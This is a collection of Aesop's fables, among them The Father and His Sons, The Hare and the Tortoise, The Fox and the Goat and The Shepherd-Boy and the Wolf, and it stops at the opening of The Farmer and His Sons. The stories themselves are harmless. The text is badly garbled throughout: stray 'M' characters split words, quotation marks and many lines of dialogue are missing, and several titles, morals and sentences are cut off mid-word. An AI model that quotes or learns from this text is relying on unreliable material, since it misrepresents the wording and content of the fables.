You ridiculed the idea of my ever being able to help you, not expecting
to receive from me any repayment of your favor; now you know that it is
r even a Mouse to confer benefits on a Lion.
The Charcoal-Burner And The Fuller
A CHARCOAL-BURNER carried on his trade in his own house. One day he met
a friend, a Fuller, and entreated him to come and live with him, saying
that they should be far better neighbors and that their housekeeping
expenses would be lessened. The Fuller replied,
impossible as far as I am concerned, for whatever I should whiten, you
would immediately blacken again with your charcoal.
The Father And His Sons
A FATHER had a family of sons who were perpetually quarreling among
themselves. When he failed to heal their disputes by his exhortations,
he determined to give them a practical illustration of the evils of
disunion; and for this purpose he one day told them to bring him a
bundle of sticks. When they had done so, he placed the faggot into the
hands of each of them in succession, and ordered them to break it in
pieces. They tried with all their strength, and werM
e not able to do it.
He next opened the faggot, took the sticks separately, one by one, and
again put them into his sons
 hands, upon which they broke them easily.
He then addressed them in these words:
My sons, if you are of one mind,
and unite to assist each other, you will be as this faggot, uninjured
by all the attempts of your enemies; but if you are divided among
yourselves, you will be broken as easily as these sticks.
The Boy Hunting Locusts
A BOY was hunting for locusts. He had caM
ught a goodly number, when he
saw a Scorpion, and mistaking him for a locust, reached out his hand to
take him. The Scorpion, showing his sting, said:
If you had but touched
me, my friend, you would have lost me, and all your locusts too!
The Cock and the Jewel
A COCK, scratching for food for himself and his hens, found a precious
stone and exclaimed:
If your owner had found thee, and not I, he would
have taken thee up, and have set thee in thy first estate; but I have
found thee for no pM
urpose. I would rather have one barleycorn than all
the jewels in the world.
The Kingdom of the Lion
THE BEASTS of the field and forest had a Lion as their king. He was
neither wrathful, cruel, nor tyrannical, but just and gentle as a king
could be. During his reign he made a royal proclamation for a general
assembly of all the birds and beasts, and drew up conditions for a
universal league, in which the Wolf and the Lamb, the Panther and the
Kid, the Tiger and the Stag, the Dog and the Hare, sM
in perfect peace and amity. The Hare said,
Oh, how I have longed to see
this day, in which the weak shall take their place with impunity by the
 And after the Hare said this, he ran for his life.
The Wolf and the Crane
A WOLF who had a bone stuck in his throat hired a Crane, for a large
sum, to put her head into his mouth and draw out the bone. When the
Crane had extracted the bone and demanded the promised payment, the
Wolf, grinning and grinding his tM
Why, you have surely
already had a sufficient recompense, in having been permitted to draw
out your head in safety from the mouth and jaws of a wolf.
In serving the wicked, expect no reward, and be thankful if you escape
injury for your pains.
The Fisherman Piping
A FISHERMAN skilled in music took his flute and his nets to the
seashore. Standing on a projecting rock, he played several tunes in the
hope that the fish, attracted by his melody, would of their own accord
e into his net, which he had placed below. At last, having long
waited in vain, he laid aside his flute, and casting his net into the
sea, made an excellent haul of fish. When he saw them leaping about in
the net upon the rock he said:
O you most perverse creatures, when
I piped you would not dance, but now that I have ceased you do so
Hercules and the Wagoner
A CARTER was driving a wagon along a country lane, when the wheels sank
down deep into a rut. The rustic driver, stupefied aM
looking at the wagon, and did nothing but utter loud cries to Hercules
to come and help him. Hercules, it is said, appeared and thus addressed
Put your shoulders to the wheels, my man. Goad on your bullocks,
and never more pray to me for help, until you have done your best to
help yourself, or depend upon it you will henceforth pray in vain.
Self-help is the best help.
The Ants and the Grasshopper
THE ANTS were spending a fine winter
s day drying grain collected in
the summertime. A Grasshopper, perishing with famine, passed by and
earnestly begged for a little food. The Ants inquired of him,
you not treasure up food during the summer?
leisure enough. I passed the days in singing.
If you were foolish enough to sing all the summer, you must
dance supperless to bed in the winter.
The Traveler and His Dog
A TRAVELER about to set out on a journey saw his Dog stand at the
 himself. He asked him sharply:
Why do you stand there
gaping? Everything is ready but you, so come with me instantly.
Dog, wagging his tail, replied:
O, master! I am quite ready; it is you
for whom I am waiting.
The loiterer often blames delay on his more active friend.
The Dog and the Shadow
A DOG, crossing a bridge over a stream with a piece of flesh in his
mouth, saw his own shadow in the water and took it for that of another
Dog, with a piece of meat double his own in size. M
He immediately let go
of his own, and fiercely attacked the other Dog to get his larger piece
from him. He thus lost both: that which he grasped at in the water,
because it was a shadow; and his own, because the stream swept it away.
The Mole and His Mother
A MOLE, a creature blind from birth, once said to his Mother:
than I can see, Mother!
 In the desire to prove to him his mistake, his
Mother placed before him a few grains of frankincense, and asked,
 His Mother exclaimed:
My son, I am afraid that you are not only blind, but that you have lost
your sense of smell.
The Herdsman and the Lost Bull
A HERDSMAN tending his flock in a forest lost a Bull-calf from the fold.
After a long and fruitless search, he made a vow that, if he could only
discover the thief who had stolen the Calf, he would offer a lamb in
sacrifice to Hermes, Pan, and the Guardian Deities of the forest. Not
long afterwards, as he ascended a M
small hillock, he saw at its foot a
Lion feeding on the Calf. Terrified at the sight, he lifted his eyes and
his hands to heaven, and said:
Just now I vowed to offer a lamb to the
Guardian Deities of the forest if I could only find out who had robbed
me; but now that I have discovered the thief, I would willingly add a
full-grown Bull to the Calf I have lost, if I may only secure my own
escape from him in safety.
The Hare and the Tortoise
A HARE one day ridiculed the short feet and slow paceM
who replied, laughing:
Though you be swift as the wind, I will beat you
 The Hare, believing her assertion to be simply impossible,
assented to the proposal; and they agreed that the Fox should choose
the course and fix the goal. On the day appointed for the race the two
started together. The Tortoise never for a moment stopped, but went on
with a slow but steady pace straight to the end of the course. The Hare,
lying down by the wayside, fell fast asleep. At last waking up,M
moving as fast as he could, he saw the Tortoise had reached the goal,
and was comfortably dozing after her fatigue.
Slow but steady wins the race.
The Pomegranate, Apple-Tree, and Bramble
THE POMEGRANATE and Apple-Tree disputed as to which was the most
beautiful. When their strife was at its height, a Bramble from the
neighboring hedge lifted up its voice, and said in a boastful tone:
Pray, my dear friends, in my presence at least cease from such vain
A FARMER placed nets on his newly-sown plowlands and caught a number
of Cranes, which came to pick up his seed. With them he trapped a Stork
that had fractured his leg in the net and was earnestly beseeching the
Farmer to spare his life.
Pray save me, Master,
go free this once. My broken limb should excite your pity. Besides, I
am no Crane, I am a Stork, a bird of excellent character; and see how I
love and slave for my father and mother. Look too, at my feathers-M
are not the least like those of a Crane.
 The Farmer laughed aloud and
It may be all as you say, I only know this: I have taken you with
these robbers, the Cranes, and you must die in their company.
Birds of a feather flock together.
The Farmer and the Snake
ONE WINTER a Farmer found a Snake stiff and frozen with cold. He had
compassion on it, and taking it up, placed it in his bosom. The Snake
was quickly revived by the warmth, and resuming its natural instincts,
nefactor, inflicting on him a mortal wound.
the Farmer with his last breath,
I am rightly served for pitying a
The greatest kindness will not bind the ungrateful.
The Fawn and His Mother
A YOUNG FAWN once said to his Mother,
You are larger than a dog, and
swifter, and more used to running, and you have your horns as a defense;
why, then, O Mother! do the hounds frighten you so?
I know full well, my son, that all you say is true. I hM
advantages you mention, but when I hear even the bark of a single dog I
feel ready to faint, and fly away as fast as I can.
No arguments will give courage to the coward.
The Bear and the Fox
A BEAR boasted very much of his philanthropy, saying that of all animals
he was the most tender in his regard for man, for he had such respect
for him that he would not even touch his dead body. A Fox hearing these
words said with a smile to the Bear,
Oh! that you would eat the dead
The Swallow and the Crow
THE SWALLOW and the Crow had a contention about their plumage. The Crow
put an end to the dispute by saying,
Your feathers are all very well in
the spring, but mine protect me against the winter.
Fair weather friends are not worth much.
The Mountain in Labor
A MOUNTAIN was once greatly agitated. Loud groans and noises were heard,
and crowds of people came from all parts to see what was the matter.
While they were assembled in anxious expectaM
tion of some terrible
calamity, out came a Mouse.
t make much ado about nothing.
The Ass, the Fox, and the Lion
THE ASS and the Fox, having entered into partnership together for
their mutual protection, went out into the forest to hunt. They had not
proceeded far when they met a Lion. The Fox, seeing imminent danger,
approached the Lion and promised to contrive for him the capture of the
Ass if the Lion would pledge his word not to harm the Fox. Then, upon
assuring the Ass that he would nM
ot be injured, the Fox led him to a deep
pit and arranged that he should fall into it. The Lion, seeing that the
Ass was secured, immediately clutched the Fox, and attacked the Ass at
The Tortoise and the Eagle
A TORTOISE, lazily basking in the sun, complained to the sea-birds of
her hard fate, that no one would teach her to fly. An Eagle, hovering
near, heard her lamentation and demanded what reward she would give him
if he would take her aloft and float her in the air.
all the riches of the Red Sea.
I will teach you to fly
 said the Eagle; and taking her up in his talons he carried her
almost to the clouds suddenly he let her go, and she fell on a lofty
mountain, dashing her shell to pieces. The Tortoise exclaimed in the
I have deserved my present fate; for what had I to do
with wings and clouds, who can with difficulty move about on the earth?
If men had all they wished, they would be often ruined.
e Flies and the Honey-Pot
A NUMBER of Flies were attracted to a jar of honey which had been
overturned in a housekeeper
s room, and placing their feet in it, ate
greedily. Their feet, however, became so smeared with the honey that
they could not use their wings, nor release themselves, and were
suffocated. Just as they were expiring, they exclaimed,
creatures that we are, for the sake of a little pleasure we have
destroyed ourselves.
Pleasure bought with pains, hurts.
A MAN and a Lion traveled together through the forest. They soon began
to boast of their respective superiority to each other in strength and
prowess. As they were disputing, they passed a statue carved in stone,
a Lion strangled by a Man.
 The traveler pointed to
See there! How strong we are, and how we prevail over even
This statue was made by one of
you men. If we Lions knew how to erect statues, you would seM
placed under the paw of the Lion.
One story is good, till another is told.
The Farmer and the Cranes
SOME CRANES made their feeding grounds on some plowlands newly sown with
wheat. For a long time the Farmer, brandishing an empty sling, chased
them away by the terror he inspired; but when the birds found that the
sling was only swung in the air, they ceased to take any notice of it
and would not move. The Farmer, on seeing this, charged his sling with
stones, and killed a great numM
ber. The remaining birds at once forsook
his fields, crying to each other,
It is time for us to be off to
Liliput: for this man is no longer content to scare us, but begins to
show us in earnest what he can do.
If words suffice not, blows must follow.
The Dog in the Manger
A DOG lay in a manger, and by his growling and snapping prevented the
oxen from eating the hay which had been placed for them.
 said one of them to his companions;
he cannot eat the hay
lf, and yet refuses to allow those to eat who can.
The Fox and the Goat
A FOX one day fell into a deep well and could find no means of escape.
A Goat, overcome with thirst, came to the same well, and seeing the Fox,
inquired if the water was good. Concealing his sad plight under a merry
guise, the Fox indulged in a lavish praise of the water, saying it was
excellent beyond measure, and encouraging him to descend. The Goat,
mindful only of his thirst, thoughtlessly jumped down, but just as he
ank, the Fox informed him of the difficulty they were both in and
suggested a scheme for their common escape.
place your forefeet upon the wall and bend your head, I will run up your
back and escape, and will help you out afterwards.
assented and the Fox leaped upon his back. Steadying himself with the
s horns, he safely reached the mouth of the well and made off as
fast as he could. When the Goat upbraided him for breaking his promise,
You foolish old fellow! If you had
as many brains in your head as you have hairs in your beard, you would
never have gone down before you had inspected the way up, nor have
exposed yourself to dangers from which you had no means of escape.
Look before you leap.
The Bear and the Two Travelers
TWO MEN were traveling together, when a Bear suddenly met them on their
path. One of them climbed up quickly into a tree and concealed himself
in the branches. The other, seeing that M
he must be attacked, fell flat
on the ground, and when the Bear came up and felt him with his snout,
and smelt him all over, he held his breath, and feigned the appearance
of death as much as he could. The Bear soon left him, for it is said he
will not touch a dead body. When he was quite gone, the other Traveler
descended from the tree, and jocularly inquired of his friend what it
was the Bear had whispered in his ear.
He gave me this advice,
Never travel with a friend who deM
Misfortune tests the sincerity of friends.
The Oxen and the Axle-Trees
A HEAVY WAGON was being dragged along a country lane by a team of Oxen.
The Axle-trees groaned and creaked terribly; whereupon the Oxen, turning
round, thus addressed the wheels:
Hullo there! why do you make so much
noise? We bear all the labor, and we, not you, ought to cry out.
Those who suffer most cry out the least.
A PIGEON, oppressed by excesM
sive thirst, saw a goblet of water painted
on a signboard. Not supposing it to be only a picture, she flew towards
it with a loud whir and unwittingly dashed against the signboard,
jarring herself terribly. Having broken her wings by the blow, she fell
to the ground, and was caught by one of the bystanders.
Zeal should not outrun discretion.
The Raven and the Swan
A RAVEN saw a Swan and desired to secure for himself the same beautiful
plumage. Supposing that the Swan
s splendid white color aroM
washing in the water in which he swam, the Raven left the altars in the
neighborhood where he picked up his living, and took up residence in
the lakes and pools. But cleansing his feathers as often as he would, he
could not change their color, while through want of food he perished.
Change of habit cannot alter Nature.
The Goat and the Goatherd
A GOATHERD had sought to bring back a stray goat to his flock. He
whistled and sounded his horn in vain; the straggler paid no attention
the summons. At last the Goatherd threw a stone, and breaking its
horn, begged the Goat not to tell his master. The Goat replied,
you silly fellow, the horn will speak though I be silent.
Do not attempt to hide things which cannot be hid.
A MISER sold all that he had and bought a lump of gold, which he buried
in a hole in the ground by the side of an old wall and went to look at
daily. One of his workmen observed his frequent visits to the spot and
decided to watch his movemM
ents. He soon discovered the secret of the
hidden treasure, and digging down, came to the lump of gold, and stole
it. The Miser, on his next visit, found the hole empty and began to tear
his hair and to make loud lamentations. A neighbor, seeing him overcome
with grief and learning the cause, said,
Pray do not grieve so; but go
and take a stone, and place it in the hole, and fancy that the gold is
still lying there. It will do you quite the same service; for when the
gold was there, you had it not, as youM
 did not make the slightest use of
A LION, unable from old age and infirmities to provide himself with food
by force, resolved to do so by artifice. He returned to his den, and
lying down there, pretended to be sick, taking care that his sickness
should be publicly known. The beasts expressed their sorrow, and came
one by one to his den, where the Lion devoured them. After many of the
beasts had thus disappeared, the Fox discovered the trick and presenting
himself to the LionM
, stood on the outside of the cave, at a respectful
distance, and asked him how he was.
but why do you stand without? Pray enter within to talk with me.
I notice that there are many prints of
feet entering your cave, but I see no trace of any returning.
He is wise who is warned by the misfortunes of others.
A GROOM used to spend whole days in currycombing and rubbing down his
t at the same time stole his oats and sold them for his own
if you really wish me to be in good
condition, you should groom me less, and feed me more.
The Ass and the Lapdog
A MAN had an Ass, and a Maltese Lapdog, a very great beauty. The Ass
was left in a stable and had plenty of oats and hay to eat, just as any
other Ass would. The Lapdog knew many tricks and was a great favorite
with his master, who often fondled him and seldom went out to dine
bringing him home some tidbit to eat. The Ass, on the contrary,
had much work to do in grinding the corn-mill and in carrying wood from
the forest or burdens from the farm. He often lamented his own hard fate
and contrasted it with the luxury and idleness of the Lapdog, till
at last one day he broke his cords and halter, and galloped into his
s house, kicking up his heels without measure, and frisking and
fawning as well as he could. He next tried to jump about his master as
he had seen the Lapdog dM
o, but he broke the table and smashed all the
dishes upon it to atoms. He then attempted to lick his master, and
jumped upon his back. The servants, hearing the strange hubbub and
perceiving the danger of their master, quickly relieved him, and drove
out the Ass to his stable with kicks and clubs and cuffs. The Ass, as
he returned to his stall beaten nearly to death, thus lamented:
brought it all on myself! Why could I not have been contented to labor
with my companions, and not wish to be idle allM
useless little Lapdog!
A CONTROVERSY prevailed among the beasts of the field as to which of the
animals deserved the most credit for producing the greatest number of
whelps at a birth. They rushed clamorously into the presence of the
Lioness and demanded of her the settlement of the dispute.
how many sons have you at a birth?
 The Lioness laughed
Why! I have only one; but that one is altogether a
The value is in the worth, not in the number.
The Boasting Traveler
A MAN who had traveled in foreign lands boasted very much, on returning
to his own country, of the many wonderful and heroic feats he had
performed in the different places he had visited. Among other things, he
said that when he was at Rhodes he had leaped to such a distance that
no man of his day could leap anywhere near him as to that, there were
in Rhodes many persons who saw him do it and whom he could call as
esses. One of the bystanders interrupted him, saying:
man, if this be all true there is no need of witnesses. Suppose this to
be Rhodes, and leap for us.
The Cat and the Cock
A CAT caught a Cock, and pondered how he might find a reasonable excuse
for eating him. He accused him of being a nuisance to men by crowing
in the nighttime and not permitting them to sleep. The Cock defended
himself by saying that he did this for the benefit of men, that they
might rise in time for their M
labors. The Cat replied,
abound in specious apologies, I shall not remain supperless;
The Piglet, the Sheep, and the Goat
A YOUNG PIG was shut up in a fold-yard with a Goat and a Sheep. On one
occasion when the shepherd laid hold of him, he grunted and squeaked and
resisted violently. The Sheep and the Goat complained of his distressing
He often handles us, and we do not cry out.
Your handling and mine aM
re very different things. He
catches you only for your wool, or your milk, but he lays hold on me for
The Boy and the Filberts
A BOY put his hand into a pitcher full of filberts. He grasped as many
as he could possibly hold, but when he tried to pull out his hand, he
was prevented from doing so by the neck of the pitcher. Unwilling to
lose his filberts, and yet unable to withdraw his hand, he burst into
tears and bitterly lamented his disappointment. A bystander said to him,
e satisfied with half the quantity, and you will readily draw out your
Do not attempt too much at once.
A LION demanded the daughter of a woodcutter in marriage. The Father,
unwilling to grant, and yet afraid to refuse his request, hit upon
this expedient to rid himself of his importunities. He expressed his
willingness to accept the Lion as the suitor of his daughter on one
condition: that he should allow him to extract his teeth, and cut
off his claws, as his daughteM
r was fearfully afraid of both. The Lion
cheerfully assented to the proposal. But when the toothless, clawless
Lion returned to repeat his request, the Woodman, no longer afraid, set
upon him with his club, and drove him away into the forest.
The Laborer and the Snake
A SNAKE, having made his hole close to the porch of a cottage, inflicted
a mortal bite on the Cottager
s infant son. Grieving over his loss, the
Father resolved to kill the Snake. The next day, when it came out of its
, he took up his axe, but by swinging too hastily, missed
its head and cut off only the end of its tail. After some time the
Cottager, afraid that the Snake would bite him also, endeavored to make
peace, and placed some bread and salt in the hole. The Snake, slightly
There can henceforth be no peace between us; for
whenever I see you I shall remember the loss of my tail, and whenever
you see me you will be thinking of the death of your son.
No one truly forgets injuries in the presenceM
 of him who caused the
ONCE UPON A TIME a Wolf resolved to disguise his appearance in order
to secure food more easily. Encased in the skin of a sheep, he pastured
with the flock deceiving the shepherd by his costume. In the evening he
was shut up by the shepherd in the fold; the gate was closed, and the
entrance made thoroughly secure. But the shepherd, returning to the fold
during the night to obtain meat for the next day, mistakenly caught up
tead of a sheep, and killed him instantly.
Harm seek, harm find.
The Ass and the Mule
A MULETEER set forth on a journey, driving before him an Ass and a
Mule, both well laden. The Ass, as long as he traveled along the plain,
carried his load with ease, but when he began to ascend the steep
path of the mountain, felt his load to be more than he could bear. He
entreated his companion to relieve him of a small portion, that he might
carry home the rest; but the Mule paid no attention to the requestM
Ass shortly afterwards fell down dead under his burden. Not knowing what
else to do in so wild a region, the Muleteer placed upon the Mule the
load carried by the Ass in addition to his own, and at the top of all
placed the hide of the Ass, after he had skinned him. The Mule, groaning
beneath his heavy burden, said to himself:
I am treated according to
my deserts. If I had only been willing to assist the Ass a little in his
need, I should not now be bearing, together with his burden, himself as
The Frogs Asking for a King
THE FROGS, grieved at having no established Ruler, sent ambassadors to
Jupiter entreating for a King. Perceiving their simplicity, he cast
down a huge log into the lake. The Frogs were terrified at the splash
occasioned by its fall and hid themselves in the depths of the pool.
But as soon as they realized that the huge log was motionless, they swam
again to the top of the water, dismissed their fears, climbed up, and
began squatting on it in contempt. After some tM
ime they began to think
themselves ill-treated in the appointment of so inert a Ruler, and
sent a second deputation to Jupiter to pray that he would set over them
another sovereign. He then gave them an Eel to govern them. When the
Frogs discovered his easy good nature, they sent yet a third time to
Jupiter to beg him to choose for them still another King. Jupiter,
displeased with all their complaints, sent a Heron, who preyed upon the
Frogs day by day till there were none left to croak upon the lake.
The Boys and the Frogs
SOME BOYS, playing near a pond, saw a number of Frogs in the water and
began to pelt them with stones. They killed several of them, when one of
the Frogs, lifting his head out of the water, cried out:
boys: what is sport to you, is death to us.
A SICK STAG lay down in a quiet corner of its pasture-ground. His
companions came in great numbers to inquire after his health, and each
one helped himself to a share of the food which had been pM
use; so that he died, not from his sickness, but from the failure of the
Evil companions bring more hurt than profit.
The Salt Merchant and His Ass
A PEDDLER drove his Ass to the seashore to buy salt. His road home
lay across a stream into which his Ass, making a false step, fell by
accident and rose up again with his load considerably lighter, as the
water melted the sack. The Peddler retraced his steps and refilled his
panniers with a larger quantity of salt thaM
n before. When he came again
to the stream, the Ass fell down on purpose in the same spot, and,
regaining his feet with the weight of his load much diminished, brayed
triumphantly as if he had obtained what he desired. The Peddler saw
through his trick and drove him for the third time to the coast, where
he bought a cargo of sponges instead of salt. The Ass, again playing the
fool, fell down on purpose when he reached the stream, but the sponges
became swollen with water, greatly increasing his load. And thuM
trick recoiled on him, for he now carried on his back a double burden.
The Oxen and the Butchers
THE OXEN once upon a time sought to destroy the Butchers, who practiced
a trade destructive to their race. They assembled on a certain day to
carry out their purpose, and sharpened their horns for the contest. But
one of them who was exceedingly old (for many a field had he plowed)
These Butchers, it is true, slaughter us, but they do so
with skillful hands, and with no unnecessaryM
 pain. If we get rid of
them, we shall fall into the hands of unskillful operators, and thus
suffer a double death: for you may be assured, that though all the
Butchers should perish, yet will men never want beef.
Do not be in a hurry to change one evil for another.
The Lion, the Mouse, and the Fox
A LION, fatigued by the heat of a summer
s day, fell fast asleep in his
den. A Mouse ran over his mane and ears and woke him from his slumbers.
He rose up and shook himself in great wrath, and seM
of his den to find the Mouse. A Fox seeing him said:
are, to be frightened of a Mouse.
Tis not the Mouse I fear,
I resent his familiarity and ill-breeding.
Little liberties are great offenses.
JUPITER DETERMINED, it is said, to create a sovereign over the birds,
and made proclamation that on a certain day they should all present
themselves before him, when he would himself choose the most beautiful
em to be king. The Jackdaw, knowing his own ugliness, searched
through the woods and fields, and collected the feathers which had
fallen from the wings of his companions, and stuck them in all parts of
his body, hoping thereby to make himself the most beautiful of all. When
the appointed day arrived, and the birds had assembled before Jupiter,
the Jackdaw also made his appearance in his many feathered finery. But
when Jupiter proposed to make him king because of the beauty of his
plumage, the birds indignantM
ly protested, and each plucked from him his
own feathers, leaving the Jackdaw nothing but a Jackdaw.
The Goatherd and the Wild Goats
A GOATHERD, driving his flock from their pasture at eventide, found some
Wild Goats mingled among them, and shut them up together with his own
for the night. The next day it snowed very hard, so that he could not
take the herd to their usual feeding places, but was obliged to keep
them in the fold. He gave his own goats just sufficient food to keep
d the strangers more abundantly in the hope of
enticing them to stay with him and of making them his own. When the thaw
set in, he led them all out to feed, and the Wild Goats scampered away
as fast as they could to the mountains. The Goatherd scolded them for
their ingratitude in leaving him, when during the storm he had taken
more care of them than of his own herd. One of them, turning about,
That is the very reason why we are so cautious; for if you
yesterday treated us better than the GoaM
ts you have had so long, it is
plain also that if others came after us, you would in the same manner
prefer them to ourselves.
Old friends cannot with impunity be sacrificed for new ones.
A DOG used to run up quietly to the heels of everyone he met, and to
bite them without notice. His master suspended a bell about his neck
so that the Dog might give notice of his presence wherever he went.
Thinking it a mark of distinction, the Dog grew proud of his bell and
g it all over the marketplace. One day an old hound said to
Why do you make such an exhibition of yourself? That bell that you
carry is not, believe me, any order of merit, but on the contrary a mark
of disgrace, a public notice to all men to avoid you as an ill mannered
Notoriety is often mistaken for fame.
The Fox Who Had Lost His Tail
A FOX caught in a trap escaped, but in so doing lost his tail.
Thereafter, feeling his life a burden from the shame and ridicule to
s exposed, he schemed to convince all the other Foxes that
being tailless was much more attractive, thus making up for his own
deprivation. He assembled a good many Foxes and publicly advised them
to cut off their tails, saying that they would not only look much better
without them, but that they would get rid of the weight of the brush,
which was a very great inconvenience. One of them interrupting him said,
If you had not yourself lost your tail, my friend, you would not thus
 Boy and the Nettles
A BOY was stung by a Nettle. He ran home and told his Mother, saying,
Although it hurts me very much, I only touched it gently.
just why it stung you,
The next time you touch a
Nettle, grasp it boldly, and it will be soft as silk to your hand, and
not in the least hurt you.
Whatever you do, do with all your might.
The Man and His Two Sweethearts
A MIDDLE-AGED MAN, whose hair had begun to turn gray, courted two women
time. One of them was young, and the other well advanced
in years. The elder woman, ashamed to be courted by a man younger than
herself, made a point, whenever her admirer visited her, to pull out
some portion of his black hairs. The younger, on the contrary, not
wishing to become the wife of an old man, was equally zealous in
removing every gray hair she could find. Thus it came to pass that
between them both he very soon found that he had not a hair left on his
Those who seek to please everybody pM
AN ASTRONOMER used to go out at night to observe the stars. One evening,
as he wandered through the suburbs with his whole attention fixed on
the sky, he fell accidentally into a deep well. While he lamented and
bewailed his sores and bruises, and cried loudly for help, a neighbor
ran to the well, and learning what had happened said:
fellow, why, in striving to pry into what is in heaven, do you not
manage to see what is on earth?
WHY SHOULD there always be this fear and slaughter between us?
the Wolves to the Sheep.
Those evil-disposed Dogs have much to answer
for. They always bark whenever we approach you and attack us before
we have done any harm. If you would only dismiss them from your heels,
there might soon be treaties of peace and reconciliation between us.
 The Sheep, poor silly creatures, were easily beguiled and dismissed the
Dogs, whereupon the Wolves destroyed the unguarded flock at theirM
The Old Woman and the Physician
AN OLD WOMAN having lost the use of her eyes, called in a Physician to
heal them, and made this bargain with him in the presence of witnesses:
that if he should cure her blindness, he should receive from her a sum
of money; but if her infirmity remained, she should give him nothing.
This agreement being made, the Physician, time after time, applied his
salve to her eyes, and on every visit took something away, stealing
all her property little by littM
le. And when he had got all she had, he
healed her and demanded the promised payment. The Old Woman, when she
recovered her sight and saw none of her goods in her house, would give
him nothing. The Physician insisted on his claim, and, as she still
refused, summoned her before the Judge. The Old Woman, standing up in
This man here speaks the truth in what he says; for
I did promise to give him a sum of money if I should recover my sight:
but if I continued blind, I was to give him nothiM
that I am healed. I on the contrary affirm that I am still blind; for
when I lost the use of my eyes, I saw in my house various chattels and
valuable goods: but now, though he swears I am cured of my blindness, I
am not able to see a single thing in it.
The Fighting Cocks and the Eagle
TWO GAME COCKS were fiercely fighting for the mastery of the farmyard.
One at last put the other to flight. The vanquished Cock skulked away
and hid himself in a quiet corner, while the conqueM
high wall, flapped his wings and crowed exultingly with all his might.
An Eagle sailing through the air pounced upon him and carried him off in
his talons. The vanquished Cock immediately came out of his corner, and
ruled henceforth with undisputed mastery.
Pride goes before destruction.
The Charger and the Miller
A CHARGER, feeling the infirmities of age, was sent to work in a mill
instead of going out to battle. But when he was compelled to grind
instead of serving in the M
wars, he bewailed his change of fortune and
called to mind his former state, saying,
Ah! Miller, I had indeed to
go campaigning before, but I was barbed from counter to tail, and a man
went along to groom me; and now I cannot understand what ailed me to
prefer the mill before the battle.
 said the Miller to him,
harping on what was of yore, for it is the common lot of mortals to
sustain the ups and downs of fortune.
The Fox and the Monkey
A MONKEY once danced in an assembM
ly of the Beasts, and so pleased them
all by his performance that they elected him their King. A Fox, envying
him the honor, discovered a piece of meat lying in a trap, and leading
the Monkey to the place where it was, said that she had found a store,
but had not used it, she had kept it for him as treasure trove of his
kingdom, and counseled him to lay hold of it. The Monkey approached
carelessly and was caught in the trap; and on his accusing the Fox of
purposely leading him into the snare, she replied,
you, with such a mind as yours, going to be King over the Beasts?
The Horse and His Rider
A HORSE SOLDIER took the utmost pains with his charger. As long as the
war lasted, he looked upon him as his fellow-helper in all emergencies
and fed him carefully with hay and corn. But when the war was over, he
only allowed him chaff to eat and made him carry heavy loads of wood,
subjecting him to much slavish drudgery and ill-treatment. War was again
proclaimed, however, and when the M
trumpet summoned him to his standard,
the Soldier put on his charger its military trappings, and mounted,
being clad in his heavy coat of mail. The Horse fell down straightway
under the weight, no longer equal to the burden, and said to his master,
You must now go to the war on foot, for you have transformed me from
a Horse into an Ass; and how can you expect that I can again turn in a
moment from an Ass to a Horse?
The Belly and the Members
THE MEMBERS of the Body rebelled against the BellyM
should we be perpetually engaged in administering to your wants, while
you do nothing but take your rest, and enjoy yourself in luxury and
 The Members carried out their resolve and refused
their assistance to the Belly. The whole Body quickly became
debilitated, and the hands, feet, mouth, and eyes, when too late,
repented of their folly.
The Vine and the Goat
A VINE was luxuriant in the time of vintage with leaves and grapes. A
Goat, passing by, nibbled itsM
 young tendrils and its leaves. The Vine
addressed him and said:
Why do you thus injure me without a cause, and
crop my leaves? Is there no young grass left? But I shall not have to
wait long for my just revenge; for if you now should crop my leaves, and
cut me down to my root, I shall provide the wine to pour over you when
you are led as a victim to the sacrifice.
Jupiter and the Monkey
JUPITER ISSUED a proclamation to all the beasts of the forest and
promised a royal reward to the one whosM
e offspring should be deemed
the handsomest. The Monkey came with the rest and presented, with all a
s tenderness, a flat-nosed, hairless, ill-featured young Monkey
as a candidate for the promised reward. A general laugh saluted her on
the presentation of her son. She resolutely said,
Jupiter will allot the prize to my son, but this I do know, that he is
at least in the eyes of me his mother, the dearest, handsomest, and most
The Widow and Her LittM
A WIDOW who was fond of cleaning had two little maidens to wait on her.
She was in the habit of waking them early in the morning, at cockcrow.
The maidens, aggravated by such excessive labor, resolved to kill the
cock who roused their mistress so early. When they had done this, they
found that they had only prepared for themselves greater troubles, for
their mistress, no longer hearing the hour from the cock, woke them up
to their work in the middle of the night.
A SHEPHERD-BOY, who watched a flock of sheep near a village, brought out
the villagers three or four times by crying out,
his neighbors came to help him, laughed at them for their pains. The
Wolf, however, did truly come at last. The Shepherd-boy, now really
alarmed, shouted in an agony of terror:
Pray, do come and help me; the
Wolf is killing the sheep;
 but no one paid any heed to his cries,
nor rendered any assistance. The Wolf, having no cause of fear, at his
leisure lacerated or destroyed the whole flock.
There is no believing a liar, even when he speaks the truth.
The Cat and the Birds
A CAT, hearing that the Birds in a certain aviary were ailing dressed
himself up as a physician, and, taking his cane and a bag of instruments
becoming his profession, went to call on them. He knocked at the door
and inquired of the inmates how they all did, saying that if they
were ill, he would be happy to prescribe for them and cure them. They
all very well, and shall continue so, if you will only
be good enough to go away, and leave us as we are.
The Kid and the Wolf
A KID standing on the roof of a house, out of harm
passing by and immediately began to taunt and revile him. The Wolf,
Sirrah! I hear thee: yet it is not thou who mockest
me, but the roof on which thou art standing.
Time and place often give the advantage to the weak over the strong.
king at a pool trod on a brood of young frogs and crushed one
of them to death. The Mother coming up, and missing one of her sons,
inquired of his brothers what had become of him.
Mother; for just now a very huge beast with four great feet came to the
pool and crushed him to death with his cloven heel.
herself out, inquired,
if the beast was as big as that in size.
Cease, Mother, to puff yourself out,
angry; for you would, IM
 assure you, sooner burst than successfully
imitate the hugeness of that monster.
The Shepherd and the Wolf
 A SHEPHERD once found the whelp of a Wolf and brought it up, and
after a while taught it to steal lambs from the neighboring flocks. The
Wolf, having shown himself an apt pupil, said to the Shepherd,
you have taught me to steal, you must keep a sharp lookout, or you will
lose some of your own flock.
The Father and His Two Daughters
A MAN had two daughters, the one M
married to a gardener, and the other to
a tile-maker. After a time he went to the daughter who had married the
gardener, and inquired how she was and how all things went with her. She
All things are prospering with me, and I have only one wish, that
there may be a heavy fall of rain, in order that the plants may be well
 Not long after, he went to the daughter who had married the
tilemaker, and likewise inquired of her how she fared; she replied,
I want for nothing, and have only one wM
ish, that the dry weather may
continue, and the sun shine hot and bright, so that the bricks might be
If your sister wishes for rain, and you for dry
weather, with which of the two am I to join my wishes?
The Farmer and His Sons
A FATHER, being on the point of death, wished to be sure that his sons
would give the same attention to his farm as he himself had given it. He
called them to his bedside and said,
